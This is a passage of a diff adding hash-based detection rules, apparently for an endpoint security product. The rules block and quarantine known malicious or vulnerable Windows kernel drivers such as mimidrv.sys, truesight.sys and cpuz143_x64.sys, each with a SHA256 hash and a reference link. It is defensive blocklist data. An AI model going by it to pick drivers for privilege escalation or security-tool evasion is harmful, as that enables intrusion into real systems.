+  "value": "af7ca247bf229950fb48674b21712761ac650d33f13a4dca44f61c59f4c9ac46",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "35adc59f-0107-5b67-a529-f5534c6bcaed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144110Z",
+  "creation_date": "2026-03-23T11:45:32.144112Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144118Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2c1b65c2988b337182f1ba57b404793454e30a7fd328d34bc2e79857dc437a4a",
+  "comment": "Malicious Kernel Driver (aka idmtdi.sys) [https://www.loldrivers.io/drivers/c2e98102-2055-48f0-9449-3e7a7f2c0ffe/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "35b136ac-5d61-5fdb-9255-8efde8d6d7c8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.463184Z",
+  "creation_date": "2026-03-23T11:45:30.463187Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.463195Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6d68d8a71a11458ddf0cbb73c0f145bee46ef29ce03ad7ece6bd6aa9d31db9b7",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "35b3c963-847d-5ac0-aca8-ee66eca51cc5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834159Z",
+  "creation_date": "2026-03-23T11:45:30.834162Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834171Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "882d4bde14f068076056098a7e097b026a548a6cd6b2604daec846f5483f9866",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "35b65d15-d767-56aa-b9d6-b17d5e8a7167",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813061Z",
+  "creation_date": "2026-03-23T11:45:31.813064Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813073Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "552607a739ca2833a5800fe65f04febc3fc9531f8cd17dc562da487572e7672a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "35bd1c57-2937-5b33-9c5c-65b4688edc05",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462086Z",
+  "creation_date": "2026-03-23T11:45:30.462089Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462098Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "36f45a42ebf2de6962db92aaf8845d7f9fd6895bedc31422adcf31c59a79602d",
+  "comment": "Malicious Kernel Driver (aka mimikatz.sys) [https://www.loldrivers.io/drivers/14556074-b235-4378-b356-f58721629d72/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "35bf3bf1-a259-5d3d-a4bb-8cb9536f0809",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814689Z",
+  "creation_date": "2026-03-23T11:45:31.814692Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814701Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "895aecc148a913118019ace4656a71d5bf3c0c87bb7ffb96de409dba5bdd828e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "35cad061-e719-5edf-823c-41001ed39cd8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810663Z",
+  "creation_date": "2026-03-23T11:45:31.810665Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810671Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "323661cc6e15eb48e21c097c53253409f3637a1fff408a116bd828c4611ce3bc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "35d445ee-725a-534f-a66b-cd82b07165de",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146638Z",
+  "creation_date": "2026-03-23T11:45:32.146640Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146646Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "37d07c39dc10ae82a9d292c74f7c5f93c7bc133a0225402dafc21f664af079b6",
+  "comment": "Resigned Vulnerable TfSysMon driver used by ValleyRAT (aka amdi2c.sys and tProtect.dll) [https://x.com/anylink20240604/status/1905691075639222521] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "35d62fe6-8104-586e-8f42-a2139d4f5052",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819795Z",
+  "creation_date": "2026-03-23T11:45:30.819797Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819802Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "837d3b67d3e66ef1674c9f1a47046e1617ed13f73ee08441d95a6de3d73ee9f2",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "35df2083-1e20-58af-b412-8eaf849d1e72",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811580Z",
+  "creation_date": "2026-03-23T11:45:31.811583Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811591Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d9bce72c8f8817de3028795f07f1cea6dfc0143860acce73f21ceffcb82fc899",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "35e0a09d-4293-5a71-bc4d-71275842b875",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824726Z",
+  "creation_date": "2026-03-23T11:45:31.824728Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824733Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7565d7f7b811d658278b511b5334a6cd21f551b31d180cc6efddd515ed793c74",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "35f8a780-3ead-59f1-aa74-933a96e9648f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825744Z",
+  "creation_date": "2026-03-23T11:45:30.825746Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825752Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "505fbf8c447320aaedfedb02b64423cc2140b328aa6da4ed23ecf2067ffb1d81",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "35fd48f6-e87c-5aa1-9f95-cf0da201d14c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.471991Z",
+  "creation_date": "2026-03-23T11:45:31.471994Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472004Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "50d7f7fa334582eaee68abf8215a1283c0a3e405e601e56ea41aa9553570907d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "360a960b-449a-59f2-b7b6-163f6c75de6a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836011Z",
+  "creation_date": "2026-03-23T11:45:30.836013Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836019Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8bda2d609bd41e2c29f81803be5cc8a15984a041ac77a34fabd9a806897c24cd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "360be8d1-017d-5cd4-98e2-f34155bebab0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145075Z",
+  "creation_date": "2026-03-23T11:45:32.145077Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145083Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ef9d653aaa2e629b211cd367a32c381eba694ba85682b987497c287d7dbc0082",
+  "comment": "Malicious Kernel Driver (aka driver_ef9d653a.sys) [https://www.loldrivers.io/drivers/14e51012-5429-483e-9423-49778c3bd1c2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3612f005-dc2b-5239-ad5e-60a5b0124529",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480788Z",
+  "creation_date": "2026-03-23T11:45:30.480790Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480795Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "38e6d7c2787b6289629c72b1ec87655392267044b4e4b830c0232243657ee8f9",
+  "comment": "Vulnerable Kernel Driver (aka TdkLib64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3613dbd0-1369-59a2-b68e-9e4b8246a9a5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611640Z",
+  "creation_date": "2026-03-23T11:45:29.611642Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611647Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "536333c1fb9066a12c7791b740fcf637f6f86b45bd57baf0f27ae33c3b6c6cf1",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "36151a0f-f877-504d-9ba1-ecac6dc52113",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827664Z",
+  "creation_date": "2026-03-23T11:45:30.827666Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827672Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2faedf73d553ccbb206f8e2cd9e758c0bc0362cfb8d75e551f044407e02f0d75",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3615e11d-43ea-5afe-8a3f-45a9116bf814",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145712Z",
+  "creation_date": "2026-03-23T11:45:31.145714Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145719Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ec98851bf8f19d301efb0d8b4b9724f038a784e20421a62696bbdeae5e20f050",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3622bac0-a61e-5c2a-a714-3c29a77750a9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.474780Z",
+  "creation_date": "2026-03-23T11:45:31.474784Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.474795Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "09dcdc4c882022babb23af2ac0bbac4535fcc9fc8e60bf415f00ebba2adaf86d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "362a5491-56e1-54c0-a8f9-435f25ad9131",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979977Z",
+  "creation_date": "2026-03-23T11:45:29.979979Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979985Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7d8937c18d6e11a0952e53970a0934cf0e65515637ac24d6ca52ccf4b93d385f",
+  "comment": "Vulnerable Kernel Driver (aka nt3.sys) [https://www.loldrivers.io/drivers/d5118882-6cdd-4b06-8bf4-e9818f16137e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "36342af2-1c23-5d26-a3af-35895359705f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.477170Z",
+  "creation_date": "2026-03-23T11:45:30.477174Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477183Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7227377a47204f8e2ff167eee54b4b3545c0a19e3727f0ec59974e1a904f4a96",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3636d07a-fc26-5677-b6c2-7b5f7d12aab2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
